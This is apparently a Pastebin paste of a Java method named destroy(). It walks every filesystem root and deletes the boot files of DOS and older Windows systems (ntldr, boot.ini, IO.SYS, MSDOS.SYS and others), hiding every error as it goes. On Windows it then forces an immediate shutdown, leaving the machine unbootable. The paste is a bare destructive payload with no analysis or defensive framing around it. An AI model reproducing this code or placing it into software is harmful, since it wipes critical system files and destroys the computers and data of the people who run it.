Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void destroy()
- {
- try
- {
- String[] s = {
- "IO.SYS", "AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "MSDOS.SYS", "ntldr",
- "NTDETECT.COM"
- };
- File[] f = File.listRoots();
- for (int ix = 0; ix < f.length; ix++)
- for (int i1x = 0; i1x < s.length; i1x++)
- try
- {
- new File(f[ix], s[i1x]).delete();
- }
- catch (Exception x)
- {
- }
- }
- catch (Exception x)
- {
- }
- try
- {
- String s = System.getProperty("os.name").trim().toLowerCase();
- if (s.indexOf("windows") != -1)
- Runtime.getRuntime().exec(new String[] { "shutdown", "-s", "-t", "0", "-f" });
- }
- catch (Exception x)
- {
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement